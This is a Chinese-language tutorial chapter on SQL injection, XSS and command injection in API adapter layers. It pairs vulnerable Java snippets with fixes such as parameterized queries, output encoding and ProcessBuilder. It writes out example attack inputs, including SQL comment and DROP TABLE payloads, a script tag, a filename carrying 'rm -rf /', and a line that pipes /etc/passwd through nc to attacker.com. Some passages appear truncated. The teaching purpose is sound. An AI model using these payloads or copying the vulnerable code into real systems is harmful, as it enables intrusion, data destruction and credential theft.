2. 输入验证陷阱:SQL注入、XSS与命令注入
接口适配层,说白了就是数据的「海关」。所有外部输入都要在这里过一遍安检。但很多团队只做了格式校验——比如字段不能为空、长度不能超限——却忽略了最致命的问题:输入里可能藏着可执行的代码。
我见过太多系统,适配层写得漂漂亮亮,结果一个精心构造的字符串打过来,数据库裸奔、用户会话被盗、服务器被远程控制。嗯,这章我们就来拆解这三个最经典的输入验证陷阱。
2.1 SQL注入:接口适配层的「老熟人」
SQL注入的原理其实很简单:应用程序把用户输入直接拼接到SQL语句里,攻击者通过构造特殊字符(比如单引号、注释符)来改变SQL的语义。你想想看,本来想查一条记录,结果变成了删一张表。
接口适配层为什么特别容易中招?因为很多适配器要动态拼接查询条件。比如根据不同的请求参数组装不同的WHERE子句,或者把前端传过来的排序字段直接拼到ORDER BY后面。我见过最离谱的一个案例——适配层直接把整个SQL语句作为参数传进来,后端只做了一次base64解码就执行了。
• 动态拼接表名或字段名
• 将用户输入直接放入LIKE子句
• 使用字符串拼接构建IN子句
• 将排序字段、分页参数直接拼入SQL
一个典型的漏洞示例
// 危险!直接拼接用户输入
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
攻击者只要传入 username = admin' --,后面的密码验证就被注释掉了。更狠的可以传 '; DROP TABLE users; --。嗯,我在项目中遇到过,一个内部管理系统的登录接口就是这么被攻破的,还好只是测试环境。
正确的防御姿势
我个人习惯,只要涉及数据库操作,一律使用参数化查询(PreparedStatement)。这是最根本的防御手段,没有之一。
// 安全!使用参数化查询
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
${orderBy}。记住:#{} 是参数化绑定,${}是字符串替换——后者依然存在注入风险。对于动态排序字段这种必须用${}的场景,一定要做白名单校验。
2.2 XSS攻击:接口返回里的「特洛伊木马」
XSS(跨站脚本攻击)在接口适配层里经常被忽视。为什么?因为很多后端开发觉得XSS是前端的事。但你想过没有——接口返回的数据里如果嵌入了恶意脚本,前端直接渲染到页面上,用户的浏览器就变成了攻击者的傀儡。
接口适配层的XSS风险主要出现在两个地方:
- 数据透传接口:适配层从上游系统获取数据,不做任何处理直接返回给前端。如果上游数据被污染,下游全遭殃。
- 错误信息接口:把用户输入原样返回到错误提示里。比如「用户 [恶意脚本] 不存在」,如果前端直接innerHTML,脚本就执行了。
接口场景示例
// 危险!直接返回用户输入
@GetMapping("/api/user/profile")
public String getUserProfile(@RequestParam String username) {
// 假设从数据库查询到用户昵称是 <script>alert('xss')</script>
return "{\"nickname\": \"" + nickname + "\"}";
}
前端拿到这个JSON后,如果直接用 innerHTML 渲染昵称字段,脚本就会执行。你想想看,攻击者完全可以构造一个获取Cookie的脚本,然后悄悄发到自己的服务器上。
防御方案
我建议在接口适配层做两层防护:
| 层级 | 措施 | 说明 |
|---|---|---|
| 输出编码 | HTML实体编码 | 将 < 转为 <,> 转为 > |
| 内容安全策略 | CSP头 | 设置 Content-Security-Policy 限制脚本来源 |
| 输入过滤 | 白名单策略 | 只允许预期的字符集,拒绝特殊字符 |
2.3 命令注入:适配层里的「隐形后门」
命令注入是我认为最危险的一种注入。为什么?因为SQL注入最多让你操作数据库,XSS最多让你操作浏览器,但命令注入——攻击者可以直接在你的服务器上执行系统命令。
接口适配层为什么容易引入命令注入?因为适配器经常要调用外部程序。比如:
- 文件格式转换(调用ImageMagick、FFmpeg)
- PDF生成(调用wkhtmltopdf)
- 网络诊断(调用ping、traceroute)
- 压缩解压(调用zip、tar)
我遇到过最典型的案例:一个文件上传适配器,用户上传图片后调用ImageMagick做缩略图。适配层直接把文件名拼到了命令行里——攻击者上传一个叫 image; rm -rf / 的文件,你猜会发生什么?
漏洞代码示例
// 危险!直接拼接系统命令
String filename = request.getParameter("filename");
String cmd = "convert " + filename + " -resize 200x200 /output/thumb.jpg";
Runtime.getRuntime().exec(cmd);
攻击者传入 filename = test.jpg; cat /etc/passwd | nc attacker.com 4444,你的服务器密码文件就被悄悄传走了。
防御策略
我个人习惯,在接口适配层遵循以下原则:
- 能不调用系统命令就别调。能用Java/Python库实现的,就不要走shell。
- 必须调用的,用白名单参数。比如文件名只允许字母、数字、下划线和点。
- 使用安全的API。比如Java的ProcessBuilder可以避免shell注入。
// 安全!使用ProcessBuilder,避免shell解释
ProcessBuilder pb = new ProcessBuilder(
"convert",
sanitizedFilename, // 已经过白名单校验
"-resize", "200x200",
"/output/thumb.jpg"
);
pb.start();
cmd /c或bash -c,那又回到了shell执行的坑里。记住:永远不要启动shell来执行命令。
2.4 适配层输入验证的通用原则
讲了三种注入,其实核心思想就一条:信任边界。接口适配层就是信任边界——所有跨过这条边的数据,都必须经过安检。
| 验证维度 | 检查内容 | 示例 |
|---|---|---|
| 类型验证 | 确保数据类型符合预期 | 整数参数不能传字符串 |
| 长度验证 | 限制输入的最大长度 | 用户名不超过50字符 |
| 格式验证 | 使用正则或白名单 | 邮箱必须符合RFC 5322 |
| 语义验证 | 检查业务逻辑合理性 | 金额不能为负数 |
| 转义处理 | 对输出进行编码 | HTML实体编码、SQL参数化 |
好了,这一章的内容就到这里。三种注入的套路不同,但解法相通:不信任、不拼接、不偷懒。下一层防御,我们聊聊认证与授权的适配问题——那又是另一片雷区了。